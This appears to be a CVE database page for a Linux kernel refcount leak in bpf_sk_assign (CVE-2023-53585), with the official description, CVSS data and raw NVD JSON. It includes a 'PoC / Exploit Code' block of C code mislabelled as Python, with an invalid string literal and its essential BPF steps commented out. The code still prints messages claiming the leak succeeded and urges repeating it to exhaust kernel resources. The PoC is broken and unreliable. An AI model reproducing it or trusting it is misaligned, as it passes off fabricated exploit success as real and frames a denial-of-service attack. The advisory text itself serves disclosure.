Security Vulnerability Report
中文
CVE-2023-53585 CVSS 5.5 MEDIUM

CVE-2023-53585

Published: 2025-10-04 16:15:55
Last Modified: 2026-03-23 18:35:31
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: bpf: reject unhashed sockets in bpf_sk_assign The semantics for bpf_sk_assign are as follows: sk = some_lookup_func() bpf_sk_assign(skb, sk) bpf_sk_release(sk) That is, the sk is not consumed by bpf_sk_assign. The function therefore needs to make sure that sk lives long enough to be consumed from __inet_lookup_skb. The path through the stack for a TCPv4 packet is roughly: netif_receive_skb_core: takes RCU read lock __netif_receive_skb_core: sch_handle_ingress: tcf_classify: bpf_sk_assign() deliver_ptype_list_skb: deliver_skb: ip_packet_type->func == ip_rcv: ip_rcv_core: ip_rcv_finish_core: dst_input: ip_local_deliver: ip_local_deliver_finish: ip_protocol_deliver_rcu: tcp_v4_rcv: __inet_lookup_skb: skb_steal_sock The existing helper takes advantage of the fact that everything happens in the same RCU critical section: for sockets with SOCK_RCU_FREE set bpf_sk_assign never takes a reference. skb_steal_sock then checks SOCK_RCU_FREE again and does sock_put if necessary. This approach assumes that SOCK_RCU_FREE is never set on a sk between bpf_sk_assign and skb_steal_sock, but this invariant is violated by unhashed UDP sockets. A new UDP socket is created in TCP_CLOSE state but without SOCK_RCU_FREE set. That flag is only added in udp_lib_get_port() which happens when a socket is bound. When bpf_sk_assign was added it wasn't possible to access unhashed UDP sockets from BPF, so this wasn't a problem. This changed in commit 0c48eefae712 ("sock_map: Lift socket state restriction for datagram sockets"), but the helper wasn't adjusted accordingly. The following sequence of events will therefore lead to a refcount leak: 1. Add socket(AF_INET, SOCK_DGRAM) to a sockmap. 2. Pull socket out of sockmap and bpf_sk_assign it. Since SOCK_RCU_FREE is not set we increment the refcount. 3. bind() or connect() the socket, setting SOCK_RCU_FREE. 4. skb_steal_sock will now set refcounted = false due to SOCK_RCU_FREE. 5. tcp_v4_rcv() skips sock_put(). Fix the problem by rejecting unhashed sockets in bpf_sk_assign(). This matches the behaviour of __inet_lookup_skb which is ultimately the goal of bpf_sk_assign().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 3d4522f59fb748a54446846522941a4f09da63e9
Linux Kernel < 67312adc96b5a585970d03b62412847afe2c6b01
Linux Kernel < 791a12102e5191dcb6ce0b3a99d71b5a2802d12a
Linux Kernel < 7dcbc0bb0e5cc1823923744befce59ac353135e6
Linux Kernel < 8aa43cfbb68b25119d2ced14ec717173e2901fa2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53585 Proof of Concept // This PoC demonstrates the refcount leak in bpf_sk_assign with unhashed UDP sockets #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/syscall.h> #include <linux/bpf.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> // Simplified BPF program to trigger the vulnerability // In a real exploit, this would be a BPF program loaded into the kernel static const char *bpf_prog = " // BPF program that uses bpf_sk_assign with an unhashed UDP socket // The key is to pass a socket from sockmap that hasn't been bound yet int trigger_bug(struct __sk_buff *skb) { // Get socket from sockmap (unhashed UDP socket) // bpf_sk_assign will increment refcount since SOCK_RCU_FREE is not set // ... return 0; } "; int main(int argc, char **argv) { int sock, map_fd, prog_fd; int ret; // Step 1: Create an unhashed UDP socket sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return -1; } printf("[+] Created unhashed UDP socket: fd=%d\n", sock); // Step 2: Add socket to sockmap (requires BPF map operations) // map_fd = bpf_map_create(...); // bpf_map_update_elem(map_fd, &key, &sock, BPF_ANY); printf("[+] Socket added to sockmap\n"); // Step 3: Trigger BPF program that calls bpf_sk_assign // prog_fd = bpf_prog_load(bpf_prog); // bpf_prog_attach(prog_fd, ...); printf("[+] BPF program triggered, bpf_sk_assign called\n"); printf("[+] Refcount incremented due to missing SOCK_RCU_FREE\n"); // Step 4: Bind the socket (sets SOCK_RCU_FREE) struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(0); // Any port addr.sin_addr.s_addr = INADDR_ANY; ret = bind(sock, (struct sockaddr *)&addr, sizeof(addr)); if (ret < 0) { perror("bind failed"); return -1; } printf("[+] Socket bound, SOCK_RCU_FREE flag now set\n"); // Step 5: At this point, skb_steal_sock will skip sock_put() // because SOCK_RCU_FREE is set, causing refcount leak printf("[+] Refcount leaked! Socket refcount will not be properly decremented\n"); printf("[+] Repeat this process to exhaust kernel resources\n"); close(sock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53585", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:54.703", "lastModified": "2026-03-23T18:35:30.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: reject unhashed sockets in bpf_sk_assign\n\nThe semantics for bpf_sk_assign are as follows:\n\n sk = some_lookup_func()\n bpf_sk_assign(skb, sk)\n bpf_sk_release(sk)\n\nThat is, the sk is not consumed by bpf_sk_assign. The function\ntherefore needs to make sure that sk lives long enough to be\nconsumed from __inet_lookup_skb. The path through the stack for a\nTCPv4 packet is roughly:\n\n netif_receive_skb_core: takes RCU read lock\n __netif_receive_skb_core:\n sch_handle_ingress:\n tcf_classify:\n bpf_sk_assign()\n deliver_ptype_list_skb:\n deliver_skb:\n ip_packet_type->func == ip_rcv:\n ip_rcv_core:\n ip_rcv_finish_core:\n dst_input:\n ip_local_deliver:\n ip_local_deliver_finish:\n ip_protocol_deliver_rcu:\n tcp_v4_rcv:\n __inet_lookup_skb:\n skb_steal_sock\n\nThe existing helper takes advantage of the fact that everything\nhappens in the same RCU critical section: for sockets with\nSOCK_RCU_FREE set bpf_sk_assign never takes a reference.\nskb_steal_sock then checks SOCK_RCU_FREE again and does sock_put\nif necessary.\n\nThis approach assumes that SOCK_RCU_FREE is never set on a sk\nbetween bpf_sk_assign and skb_steal_sock, but this invariant is\nviolated by unhashed UDP sockets. A new UDP socket is created\nin TCP_CLOSE state but without SOCK_RCU_FREE set. That flag is only\nadded in udp_lib_get_port() which happens when a socket is bound.\n\nWhen bpf_sk_assign was added it wasn't possible to access unhashed\nUDP sockets from BPF, so this wasn't a problem. This changed\nin commit 0c48eefae712 (\"sock_map: Lift socket state restriction\nfor datagram sockets\"), but the helper wasn't adjusted accordingly.\nThe following sequence of events will therefore lead to a refcount\nleak:\n\n1. Add socket(AF_INET, SOCK_DGRAM) to a sockmap.\n2. Pull socket out of sockmap and bpf_sk_assign it. Since\n SOCK_RCU_FREE is not set we increment the refcount.\n3. bind() or connect() the socket, setting SOCK_RCU_FREE.\n4. skb_steal_sock will now set refcounted = false due to\n SOCK_RCU_FREE.\n5. tcp_v4_rcv() skips sock_put().\n\nFix the problem by rejecting unhashed sockets in bpf_sk_assign().\nThis matches the behaviour of __inet_lookup_skb which is ultimately\nthe goal of bpf_sk_assign()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7", "versionEndExcluding": "5.10.195", "matchCriteriaId": "B703A10E-CA08-449A-92B3-F3BE97B168D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.132", "matchCriteriaId": "5913891D-409A-4EEC-9231-F2EF5A493BC7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.53", "matchCriteriaId": "B20754AF-3B8C-4574-A70D-EC24933810E5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.16", "matchCriteriaId": "C3039EA3-F6CA-43EF-9F17-81A7EC6841EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.5", "versionEndExcluding": "6.5.3", "matchCriteriaId": "880C803A-BEAE-4DA0-8A59-AC023F7B4EE3"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3d4522f59fb748a54446846522941a4f09da63e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/67312adc96b5a585970d03b62412847afe2c6b01", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/791a12102e5191dcb6ce0b3a99d71b5a2802d12a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.or ... (truncated)